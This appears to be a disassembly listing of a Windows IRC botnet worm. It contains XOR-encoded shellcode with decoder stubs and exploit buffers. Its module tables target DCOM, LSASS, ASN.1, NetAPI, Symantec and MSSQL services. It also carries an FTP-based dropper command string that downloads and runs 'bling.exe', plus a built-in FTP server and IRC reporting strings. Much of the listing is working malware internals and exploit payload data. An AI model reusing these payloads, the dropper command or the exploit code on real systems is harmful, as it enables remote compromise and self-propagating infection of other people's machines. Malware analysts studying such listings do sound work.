paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_428B8E
jo short loc_428AE4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_428B25+1
add bl, [edi]
loc_428B25: ; CODE XREF: ___:00428B21j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_428B3A+2
cmp ch, bh
dec edx
loc_428B3A: ; CODE XREF: ___:00428B35j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_428B8E: ; CODE XREF: ___:00428B15j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_428C14
sub al, 0BCh
jmp near ptr 54448F82h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o
dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r
dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar
dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr
byte_428BC8 db 0 ; DATA XREF: ___:00404B45r
; ___:00404C13r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_428C14: ; CODE XREF: ___:00428B98j
push eax
xor al, 29h
loc_428C17: ; DATA XREF: ___:00404B6Do
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do
dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
align 4
a_: ; DATA XREF: sub_406387+252o
unicode 0, <.>,0
dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h)
db 2 dup(64h)
word_429042 dw 6464h ; DATA XREF: ___:00428641o
dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h)
dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h
dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h
dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h
dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h
dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h
dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
loc_429E74: ; DATA XREF: ___:00405319o
add al, 54h
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
loc_429E92: ; CODE XREF: ___:00429EE2j
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
fmul st(1), st
mov al, 42h
jmp short loc_429EE9
; ---------------------------------------------------------------------------
dec edx
inc ebx
push esp
dec eax
inc ebx
and [ecx], eax
jo short loc_429E92
inc edx
add [eax-52h], esi
inc edx
loc_429EE9: ; CODE XREF: ___:00429ED9j
mov edi, esp
add edi, 2Ch
sub sp, 204h
xor ecx, ecx
mov dl, 35h
add cx, 138h
loc_429EFC: ; CODE XREF: ___:00429F03j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_429EFC
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP
test eax, 79E4B9EBh
inc ebp
loope loc_429F4D
lds edx, [edx]
adc eax, 623D0515h
db 66h
pop es
push 6
pop es
assume es:nothing
sbb esi, [ecx+79h]
jns short near ptr loc_429F59+3
fidiv word ptr [eax]
fxch4 st(4)
retf 0CACAh
; ---------------------------------------------------------------------------
db 68h
dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh
dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
dec ebp
loc_429F4D: ; CODE XREF: ___:00429F15j
xor al, 0CEh
mov esi, 0CC34297Eh
mov esi, 0CF341166h
loc_429F59: ; CODE XREF: ___:00429F26j
db 64h, 67h
mov si, 156Eh
xor al, 0CEh
add al, 0FCh
jz short near ptr loc_429F67+2
cmc
lodsb
loc_429F67: ; CODE XREF: ___:00429F63j
mov esi, 0CB34BE01h
cdq
add al, 0F7h
in al, 0D7h
mov cl, 0F5h
inc eax
retn 833Ah
; ---------------------------------------------------------------------------
db 70h
dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h
dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r
align 4
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_405144+97o
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 10h
unk_42A0B0 db 2 ; DATA XREF: ___:00405367o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 65h ; e
db 1Fh, 78h, 1Fh
db 70h ; p
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAttemptingToRo db 'attempting to root %s',0
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo
; sub_40EE72+537o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_4053D5+5AFo
align 4
unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o
db 33h, 6Eh, 2
db 7Ah ; z
db 1Fh, 6Dh, 1Fh
db 20h
db 28h, 66h, 74h
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 3, 34h
aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_4053D5+519o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
align 10h
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_4053D5+3AFo
align 10h
aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI: ; DATA XREF: sub_4053D5+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA: ; DATA XREF: sub_4053D5+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o
; sub_4053D5+361o
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
align 10h
off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
align 4
aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo
align 10h
a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
align 10h
aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o
; ___:0042F830o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o
align 10h
a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_405A58+24o
; sub_406C19+12Eo ...
align 4
unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 10h
asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo
align 4
asc_42A3B4: ; DATA XREF: sub_405AF2+293o
; sub_40EE72+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o
; sub_40B8D8+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo
align 4
unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_42A65C: ; DATA XREF: sub_4060D0+15Ao
unicode 0, <*>,0
asc_42A660: ; DATA XREF: sub_4060D0+FBo
; sub_406387+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo
; sub_406387+4DAo ...
align 4
aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao
; sub_40B390+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_406387+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_406387+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
align 4
aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o
; sub_406387+496o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o
; sub_406387+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm db 'AM',0 ; DATA XREF: sub_406387+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_406387+237o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o
dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C19+47Fo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
dd 2E2973h
unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundSS db ' File not found: %s (%s).',0
dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406C19+399o
dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C19+33Eo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToOpenFi db ' Failed to open file: %s.',0
unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo
align 8
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o
align 4
dd 5 dup(0)
dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er
; sub_40EE72+30B5r ...
off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr
dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w
; sub_402DD7+2E7r ...
dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr
dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 402DD7h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 402DD7h, 0
dd 1, 0
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 403688h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h
dd 353331h, 5 dup(0)
dd 87h, 403688h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 8Bh, 403688h, 0
dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h
dd 5 dup(0)
dd 1BDh, 40428Fh, 0
dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 40428Fh, 0
dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h
dd 353434h, 5 dup(0)
dd 1BDh, 404F42h, 2 dup(0)
dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h
dd 5 dup(0)
dd 8Bh, 404F42h, 2 dup(0)
dd 1, 6D7973h, 0
dd 79730000h, 746E616Dh, 6365h, 5 dup(0)
dd 0B97h, 405088h, 0
dd 1, 0
dd 636874h, 0
dd 68540000h, 6C717363h, 6 dup(0)
dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj
dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
jmp short loc_42AFA6
; =============== S U B R O U T I N E =======================================
sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_42AF9E: ; CODE XREF: sub_42AF96+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42AF9E
jmp short loc_42AFAB
; ---------------------------------------------------------------------------
loc_42AFA6: ; CODE XREF: ___:0042AF94j
call sub_42AF96
loc_42AFAB: ; CODE XREF: sub_42AF96+Ej
jo short near ptr dword_42AF44+2
cwde
cdq
cdq
retn
sub_42AF96 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
